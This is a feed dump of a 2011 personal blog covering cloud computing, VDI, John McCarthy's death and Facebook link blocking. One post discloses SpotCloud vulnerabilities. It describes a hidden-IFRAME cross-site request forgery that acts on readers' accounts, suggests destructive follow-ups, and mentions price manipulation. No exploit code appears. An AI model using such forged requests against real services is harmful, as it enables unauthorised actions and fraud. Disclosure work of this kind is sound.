&lt;a href="http://feeds.feedburner.com/~ff/samj?a=E_nEQ_Ba4Wk:9BtNlsHPB1A:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=E_nEQ_Ba4Wk:9BtNlsHPB1A:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=E_nEQ_Ba4Wk:9BtNlsHPB1A:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=E_nEQ_Ba4Wk:9BtNlsHPB1A:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=E_nEQ_Ba4Wk:9BtNlsHPB1A:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=E_nEQ_Ba4Wk:9BtNlsHPB1A:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=E_nEQ_Ba4Wk:9BtNlsHPB1A:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=E_nEQ_Ba4Wk:9BtNlsHPB1A:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=E_nEQ_Ba4Wk:9BtNlsHPB1A:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/E_nEQ_Ba4Wk" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-09T02:42:58.187+01:00</app:edited><media:thumbnail url="http://4.bp.blogspot.com/-XwLZ56N2Gjg/TrnalAPJ9qI/AAAAAAAAAYU/SY57-4azetI/s72-c/spotcloud-suspended.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><enclosure url="http://dl.enomaly.com/scbuyerapi" length="221396" type="application/pdf" /><media:content url="http://dl.enomaly.com/scbuyerapi" fileSize="221396" type="application/pdf" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> My friends at Enomaly have been beating up on Amazon Web Services (AWS) over the XML signature element wrapping&amp;nbsp;vulnerability currently being overhyped by the press, which&amp;nbsp;is ironic given their security track record&amp;nbsp;and unfortunate given I</itunes:subtitle><itunes:author>Sam Johnston</itunes:author><itunes:summary> My friends at Enomaly have been beating up on Amazon Web Services (AWS) over the XML signature element wrapping&amp;nbsp;vulnerability currently being overhyped by the press, which&amp;nbsp;is ironic given their security track record&amp;nbsp;and unfortunate given I rather like what Amazon have achieved. Back in March I reported multiple vulnerabilities&amp;nbsp;in&amp;nbsp;SpotCloud&amp;nbsp;(including their having copied Amazon's vulnerable signatures years after they were&amp;nbsp;reported and fixed) and I was told I was unethical and my report that they "may not validate incoming web and/or API requests and if so, may be vulnerable to cross-site request forgery in which an attacker could make unauthorised management requests on behalf of a user" was "unactionably vague". To demonstrate the severity of the outstanding vulnerability go grab yourself a SpotCloud account, charge it up&amp;nbsp;(ignoring PCI-DSS for a second given they're collecting credit card numbers via App Engine) and click the image below. I'll silently create an instance for you using a hidden IFRAME, but you're welcome to experiment with more destructive experiments like deleting existing instances and uploading malicious workloads. Update: If you look at the code you'll see the hourly rate is passed to the client as "cost" and presumably trusted on return (if not, why is it there?). I haven't seen a price manipulation vulnerability in over a decade, but I'm not tinkering with it because I don't fancy being accused of stealing from them or their providers. Update:&amp;nbsp;While the consumer API now uses OAuth, the provider API still uses Amazon's vulnerable signatures for authentication: #sorts by key.lowercase(). ie A b c Dee e ffFf sorted_keys = sorted(parameters.keys(), key=lambda k: k.lower()) #concatenates key,value pairs. a=1,b=2,C=32 becomes "a1b2C32" data = ’’.join(key + parameters[key] for key in sorted_keys) #Data is now: ecp_usernamespotcloudusernameparamAvalueTimestamp2006-12-08T07:48:03Z digest = hmac.new(’spotcloudpassword’, data, sha).digest() This may have been safe over SSL were it not for the fact that client libraries (including python) typically don't validate the certificate chain by default. Update: Wells Fargo reports "CHECK CRD PURCHASE SPOT CLOUD ETOBICOKE CD"&amp;nbsp;as "Unusual Activity" in emailed alert… canceling card, requesting re-issue. Should have used a virtual card. Wonder if Google know their&amp;nbsp;App Engine poster child is using it to collect credit card details? Update: It is believed that Private SpotCloud and Enomaly Elastic Computing Platform (ECP) are also vulnerable to cross-site request forgery, but without access to the software I have no way to verify. Update: This is how Enomaly deals with security researchers: </itunes:summary><itunes:keywords>internet,security,programming,dns,web2,0,enterprise2,0,apple,google,microsoft,linux,unix,saas,networking,free,software,opensource</itunes:keywords><feedburner:origLink>http://samj.net/2011/10/sploitcloud.html</feedburner:origLink></item><item><title>Facebook blocks entire ".co.uk" domain as "spammy or unsafe"</title><link>http://feedproxy.google.com/~r/samj/~3/im38P-f3yGQ/facebook-blocks-entire-couk-domain-as.html</link><author>samj@samj.net (Sam Johnston)</author><pubDate>Tue, 25 Oct 2011 02:16:25 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-5919710049284751958</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Facebook have blocked ".co.uk" as "spammy or unsafe":&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-nyawpfipH58/TqZ9thBlQeI/AAAAAAAAAU4/7kK2ov1rRXY/s1600/facebook-co-uk.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-nyawpfipH58/TqZ9thBlQeI/AAAAAAAAAU4/7kK2ov1rRXY/s1600/facebook-co-uk.png" /&gt;&lt;/a&gt;&lt;/div&gt;
I was trying to post &lt;a href="http://www.cloudpro.co.uk/cloud-essentials/general/2055/cloud-computing-visionary-dies-84"&gt;this article&lt;/a&gt; to my wall but get the same message when I try to post nothing more than &lt;a href="http://www.google.co.uk/"&gt;http://www.google.co.uk/&lt;/a&gt;:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-nb3Tso4GWiA/TqZ-Djg291I/AAAAAAAAAVA/xOERQ47OKok/s1600/google-co-uk.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="312" src="http://3.bp.blogspot.com/-nb3Tso4GWiA/TqZ-Djg291I/AAAAAAAAAVA/xOERQ47OKok/s640/google-co-uk.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
Reminds me of &lt;a href="http://samj.net/2009/01/day-google-broke-internet.html"&gt;the day Google broke the Internet&lt;/a&gt;... and the dangers of getting regular expressions wrong.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-5919710049284751958?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=im38P-f3yGQ:ztGFflwgiJM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=im38P-f3yGQ:ztGFflwgiJM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=im38P-f3yGQ:ztGFflwgiJM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=im38P-f3yGQ:ztGFflwgiJM:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=im38P-f3yGQ:ztGFflwgiJM:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=im38P-f3yGQ:ztGFflwgiJM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=im38P-f3yGQ:ztGFflwgiJM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=im38P-f3yGQ:ztGFflwgiJM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=im38P-f3yGQ:ztGFflwgiJM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/im38P-f3yGQ" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-25T11:16:25.794+02:00</app:edited><media:thumbnail url="http://2.bp.blogspot.com/-nyawpfipH58/TqZ9thBlQeI/AAAAAAAAAU4/7kK2ov1rRXY/s72-c/facebook-co-uk.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://samj.net/2011/10/facebook-blocks-entire-couk-domain-as.html</feedburner:origLink></item><item><title>Father of cloud computing dies</title><link>http://feedproxy.google.com/~r/samj/~3/WZd56MybA7E/father-of-cloud-computing-dies.html</link><category>cloud</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Mon, 24 Oct 2011 16:38:24 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-7633319336515185978</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-zmMr3ztDxZg/TqX1pDcxGiI/AAAAAAAAAUw/Tp4sInSimY0/s1600/John_McCarthy_Stanford.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="265" src="http://1.bp.blogspot.com/-zmMr3ztDxZg/TqX1pDcxGiI/AAAAAAAAAUw/Tp4sInSimY0/s400/John_McCarthy_Stanford.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
"If computers of the kind I have advocated become the computers of the future, then computing may someday be organized as a public utility just as the telephone system is a public utility... The computer utility could become the basis of a new and important industry."&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: right;"&gt;
— &lt;a href="http://en.wikipedia.org/wiki/John_McCarthy_(computer_scientist)"&gt;John McCarthy&lt;/a&gt; (speaking at the MIT Centennial in 1961)&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-7633319336515185978?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=WZd56MybA7E:sLQTUlPQ3sE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=WZd56MybA7E:sLQTUlPQ3sE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=WZd56MybA7E:sLQTUlPQ3sE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=WZd56MybA7E:sLQTUlPQ3sE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=WZd56MybA7E:sLQTUlPQ3sE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=WZd56MybA7E:sLQTUlPQ3sE:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=WZd56MybA7E:sLQTUlPQ3sE:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=WZd56MybA7E:sLQTUlPQ3sE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=WZd56MybA7E:sLQTUlPQ3sE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/WZd56MybA7E" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-25T01:38:24.487+02:00</app:edited><media:thumbnail url="http://1.bp.blogspot.com/-zmMr3ztDxZg/TqX1pDcxGiI/AAAAAAAAAUw/Tp4sInSimY0/s72-c/John_McCarthy_Stanford.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://samj.net/2011/10/father-of-cloud-computing-dies.html</feedburner:origLink></item><item><title>VDI: Virtually Dead Idea?</title><link>http://feedproxy.google.com/~r/samj/~3/7yd1Pa3o-q4/vdi-virtually-dead-idea.html</link><category>cloud</category><category>citrix</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Wed, 12 Oct 2011 04:48:17 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-676392273271714026</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
I've been meaning to give my blog some attention (it's been almost a year since my last post, and a busy one at that) and Simon Crosby's (&lt;a href="http://twitter.com/simoncrosby"&gt;@simoncrosby&lt;/a&gt;)&amp;nbsp;&lt;a href="http://blogs.bromium.com/2011/10/10/vdwhy/"&gt;VDwhy?&lt;/a&gt; post seems as good a place to start as any. Simon and I are both former Citrix employees ("Citrites") and we're both interested in similar topics — virtualisation, security and cloud computing to name a few. It's no surprise then that I agree with his sentiments about &lt;a href="http://en.wikipedia.org/wiki/Desktop_virtualization#VDI"&gt;Virtual Desktop Infrastructure (VDI)&lt;/a&gt; and must admit to being perplexed as to why it gets so much attention, generally without question.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;History&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://en.wikipedia.org/wiki/Windows_NT"&gt;Windows NT&lt;/a&gt; ("New Technology"), the basis for all modern Microsoft desktop operating systems, was released in 1993 and shortly afterwards Citrix (having access to the source code) added the capability to support multiple graphical user interfaces concurrently. Windows NT's underlying architecture allowed for access control lists to be applied to every object, which made it far easier for this do be done securely than what might have been possible on earlier versions. They also added their own proprietary ICA ("&lt;a href="http://en.wikipedia.org/wiki/Independent_Computing_Architecture"&gt;Independent Computing Architecture&lt;/a&gt;") network protocol such that these additional sessions could be accessed remotely, over the network, from various clients (Windows, Linux, Mac and now devices like iPads, although the user experience is, as Simon pointed out, subpar). This product was known as &lt;a href="http://en.wikipedia.org/wiki/Citrix_WinFrame"&gt;Citrix WinFrame&lt;/a&gt; and was effectively a fork of Windows 3.51 (I admit to having been an NT/WinFrame admin in a past life, but mostly focused on Unix/Linux integration). It is arguably what put Citrix (now a $2bn revenue company) on the map, and it still exists today as XenApp.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Terminal Services&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
It turns out this was a pretty good idea. So good, in fact, that (&lt;a href="http://en.wikipedia.org/wiki/Remote_Desktop_Protocol#Version_4.0"&gt;according to Wikipedia&lt;/a&gt;) "&lt;i&gt;Microsoft required Citrix to license their MultiWin technology to Microsoft in order to be allowed to continue offering their own terminal services product, then named Citrix MetaFrame, atop Windows NT 4.0&lt;/i&gt;". Microsoft introduced their own "Remote Desktop Protocol" and armed with only a Windows NT 4.0 Terminal Server Edition beta CD, &lt;a href="http://www.linkedin.com/in/matthewchapman"&gt;Matthew Chapman&lt;/a&gt; (who went to the same college, university and workplace as me and is to this day one of the smartest guys I've ever met) cranked out &lt;a href="http://en.wikipedia.org/wiki/Rdesktop"&gt;rdesktop&lt;/a&gt;, if I remember well over the course of a weekend. I was convinced that this was the end of Citrix so imagine my surprise when I ended up working for them, on the other side of the world (Dublin, Ireland), almost a decade later!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;VDI&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
About the time I left Citrix for a startup opportunity in Paris, France (2006) we were tinkering with a standalone ICA listener that could be deployed on a desktop operating system (bearing in mind that by now even Windows XP included Terminal Services and an RDP listener). I believe there was also a project working on the supporting infrastructure for cranking up and tearing down single-user virtual machines (rather than multiple Terminal Services sessions based on a single Windows Server, as was the status quo at the time), but I didn't get the point and never bothered to play with it.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Even then I was curious as to what the perceived advantage was — having spent years hardening desktop and server operating systems at the &lt;a href="http://www.unsw.edu.au/"&gt;University of New South Wales&lt;/a&gt; to "student proof" them I considered it far easier to have one machine servicing many users than many machines servicing many users. Actually there's still one machine, only the virtualisation layer has been moved from between the operating system and user interface — where it arguably belongs — to between the bare metal and the operating system. As such it was now going to be necessary to run multiple kernels and multiple operating systems (with all the requisite configurations, patches, applications, etc.)!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Meanwhile there was work being done on "application virtualisation" (&lt;a href="http://www.brianmadden.com/blogs/brianmadden/archive/2005/10/11/a-technical-analysis-of-citrix-s-application-streaming-announcement.aspx"&gt;Project Tarpon&lt;/a&gt;) whereby applications are sandboxed by interrupting Windows'&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/I/O_request_packet"&gt;I/O Request Packets&lt;/a&gt; (IRPs) and rewriting them as required. While this was a bit of a hack (Windows doesn't require developers to follow the rules, so they don't and write whatever they want pretty much anywhere), it was arguably a step in the right — rather than wrong — direction.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Multitenancy&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
At the end of the day the issue is simply that it's better to share infrastructure (e.g. costs) between multiple users. In this case, why would I want to have one kernel and operating system dedicated to a single user (and exacting a toll in computing and human resources) when I can have one dedicated to many? In fact, why would I want to have an operating system at all, given it's now essentially just a life support system for the browser? The only time I ever interact with the operating system is when something goes wrong and I have to fix it (e.g. install/remove software, modify configurations, move files, etc.) so I'd much rather have &lt;a href="http://en.wikipedia.org/wiki/Just_enough_operating_system"&gt;just enough operating system&lt;/a&gt; than one for everyone and then a bunch more on servers to support them!&lt;br /&gt;
&lt;br /&gt;
This is essentially what &lt;a href="http://en.wikipedia.org/wiki/Google_Chrome_OS"&gt;Google Chrome OS&lt;/a&gt; (one of the first client-side &lt;a href="http://samj.net/2008/09/google-chrome-cloud-operating.html"&gt;cloud operating environments&lt;/a&gt;) does, and I can't help but to wonder whether the &lt;a href="http://www.wired.com/wiredenterprise/2011/10/google-chromoting-chrome/"&gt;chromoting&lt;/a&gt; feature isn't going to play a role in this market (actually I doubt it but it's early days).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;The RightWay™&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
Five years ago (as I had one foot out the door of Citrix with my eye on a startup opportunity in Paris) I met with product strategist &lt;a href="http://www.linkedin.com/pub/will-harwood/6/33/154"&gt;Will Harwood&lt;/a&gt; at the UK office and explained my vision for the future of Citrix products. I'd been working on the &lt;a href="http://www.citrix.com/netscaler"&gt;Netscaler&lt;/a&gt; acquisition (among others) and had a pretty good feeling for the direction things were going — I'd even virtualised the various appliances on top of Xen to deliver a common appliance platform long before it was acquired (and was happy to be there to see Citrix CEO Mark Templeton announce this product as &lt;a href="http://www.citrix.com/netscaler/how-it-works/appliances/sdx"&gt;Netscaler SDX&lt;/a&gt; at Interop).&lt;br /&gt;
&lt;br /&gt;
It went something like this: the &lt;s&gt;MultiWin&lt;/s&gt; &lt;s&gt;WinFrame&lt;/s&gt; &lt;s&gt;MetaFrame&lt;/s&gt; &lt;s&gt;Presentation Server&lt;/s&gt; XenApp is a mature, best-of-breed product that had (and probably still has) some serious limitations. Initially the network-based ICA Browser service was noisy, flaky and didn't scale, so Independent Management Architecture (IMA) was introduced — a combination of a relational data store (SQL Server or Oracle) and a mongrel "IMA" protocol over which the various servers in a farm could communicate about applications, sessions, permissions, etc. Needless to say, centralised relational databases have since gone out of style in favour of distributed "NoSQL" databases, but more to the point — why were the servers trying to coordinate between themselves when the Netscaler was designed from the ground up to load balance network services?&lt;br /&gt;
&lt;br /&gt;
My proposal was simply to take the standalone ICA browser and apply it to multi-user server operating systems rather than single-user client operating systems, ditching IMA altogether and delegating the task of (global) load balancing, session management, SSL termination, etc. to the Netscaler. This would be better/faster/cheaper than the existing legacy architecture, it would be more reliable in that failures would be tolerated and best of all, it would scale out rather than up. While the Netscaler has been used for some tasks (e.g. SSL termination), I'm surprised we haven't seen anything like this (yet)... or have we?&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Caveat&lt;/span&gt;&lt;br /&gt;
I can think of at least one application where VDI does make sense — public multi-tenant services (like &lt;a href="http://www.desktone.com/"&gt;Desktone&lt;/a&gt;) where each user needs a high level of isolation and customisation.&lt;br /&gt;
&lt;br /&gt;
For everyone else I'd suggest taking a long, hard look at the pros and cons because any attempt to deviate from the status quo should be very well justified. I use a MacBook Air and have absolutely no need nor desire to connect to my desktop from any other device, but if I did I'd opt for shared infrastructure (Terminal Services/XenApp) and for individual "seamless" applications rather than another full desktop. If I were still administering and securing systems I'd just create a single image and deploy it over the network using PXE — I'd have to do this for the hypervisor anyway so there's little advantage in adding yet another layer of complexity and taking the hit (and cost) of virtualisation overhead. Any operating system worth its salt includes whole disk encryption so the security argument is largely invalidated too.&lt;br /&gt;
&lt;br /&gt;
I can think of few things worse than having to work on remote applications all day, &lt;b&gt;unless&lt;/b&gt; the datacenter is very close to me (due to the physical constraints of the speed of light and the interactive/real-time nature of remote desktop sessions) and the network performance is strictly controlled/guaranteed. We go to great lengths to design deployments that are globally distributed with an appropriate level of redundancy, while being close enough to the end users to deliver the strict SLAs demanded by interactive applications — if you're not going to bother to do it properly then you might not want to do it at all.&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-676392273271714026?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=7yd1Pa3o-q4:HSDPySdJwXw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7yd1Pa3o-q4:HSDPySdJwXw:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=7yd1Pa3o-q4:HSDPySdJwXw:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7yd1Pa3o-q4:HSDPySdJwXw:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=7yd1Pa3o-q4:HSDPySdJwXw:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7yd1Pa3o-q4:HSDPySdJwXw:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7yd1Pa3o-q4:HSDPySdJwXw:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7yd1Pa3o-q4:HSDPySdJwXw:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=7yd1Pa3o-q4:HSDPySdJwXw:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/7yd1Pa3o-q4" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-12T13:48:17.190+02:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://samj.net/2011/10/vdi-virtually-dead-idea.html</feedburner:origLink></item><item><title>Enomaly's SpotCloud and 'The Case Against Commodity Cloud Exchanges' (Redux)</title><link>http://feedproxy.google.com/~r/samj/~3/lDmuaLTR1f8/enomalys-spotcloud-and-case-against.html</link><category>cloud</category><category>enomaly</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Fri, 28 Oct 2011 11:14:35 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-5298043358442889846</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
I wouldn't have bothered commenting on &lt;a href="http://www.enomaly.com/"&gt;Enomaly&lt;/a&gt;'s launch of the&amp;nbsp;&lt;a href="http://spotcloud.com/"&gt;SpotCloud&lt;/a&gt;&amp;nbsp;"private beta" today as I've been busy and neglecting my blog of late, but their Founder and CTO, Reuven Cohen, recently wrote an insightful critique of their competitor in this space,&amp;nbsp;&lt;a href="http://www.zimory.com/"&gt;Zimory&lt;/a&gt;,&amp;nbsp;which just needed a quick find and replace to be largely applicable here. See for yourself:&lt;br /&gt;
&lt;blockquote&gt;
&lt;h2&gt;
&lt;a href="http://www.elasticvapor.com/2009/01/case-against-commodity-cloud-exchange.html"&gt;ElasticVapor: The Case Against Commodity Cloud Exchanges&lt;/a&gt;&lt;/h2&gt;
The concept of a commodity cloud exchange is something that &lt;a href="http://www.elasticvapor.com/search/label/exchange"&gt;I've been talking about for several years&lt;/a&gt;. Notably &lt;a href="http://www.on-demandenterprise.com/features/26034774.html"&gt;Sun Microsystems also proposed it back in 2005&lt;/a&gt;. Recently a new start-up &lt;s&gt;spun out out of Deutsche Telekom&lt;/s&gt; called &lt;s&gt;Zimory&lt;/s&gt;&lt;i&gt;Enomaly&lt;/i&gt; is attempting to use this as the nexus of their &lt;s&gt;enterprise focused hybrid&lt;/s&gt; cloud platform. The company describes itself as the first '&lt;s&gt;global marketplace for cloud resources&lt;/s&gt;&lt;i&gt;cloud computing clearinghouse and marketplace&lt;/i&gt;' to enable organizations to buy or sell extra computing capacity.&lt;br /&gt;
&lt;br /&gt;
For those of you unfamiliar with the concept of a cloud exchange, the concept is to provide a central financially focused exchange where companies are able to trade standardized cloud capacity in the form of a futures contract; that is, a contract to buy specific quantities of a compute / storage / bandwidth capacity in the form of a commodity at a specified price with delivery set at a specified time in the future. The contract details what cloud asset is to be bought or sold, and how, when, where and in what quantity it is to be delivered, similar to a bandwidth exchange or clearing house. The exchange may be public or private akin to private exchanges / ECNs on the stock market, where membership is by invitation only&lt;br /&gt;
&lt;br /&gt;
As I dug a little deeper into &lt;s&gt;the Zimory's&lt;/s&gt;&lt;i&gt;Enomaly's SpotCloud&lt;/i&gt; web interface I noticed that &lt;s&gt;Zimory&lt;/s&gt;&lt;i&gt;Enomaly SpotCloud&lt;/i&gt; is actually not really a marketplace so much as a &lt;s&gt;multi-&lt;/s&gt;cloud management platform. The platform does little to address security, audibility, accountability, or trading/futures contracts. My first question is why should I trust their cloud providers and how do I know they're secure?&lt;br /&gt;
&lt;br /&gt;
Another problem with the platform is their approach to capacity access. It appears that you are forced to use their platform, a platform that has no API or web services that I could see. Also their approach to a SLA is not very obvious&lt;s&gt;, they broadly describe three levels, Bronze, Silver and Gold with no insight into what these levels actually represent&lt;/s&gt;. We are too just take them at their word.&lt;br /&gt;
&lt;br /&gt;
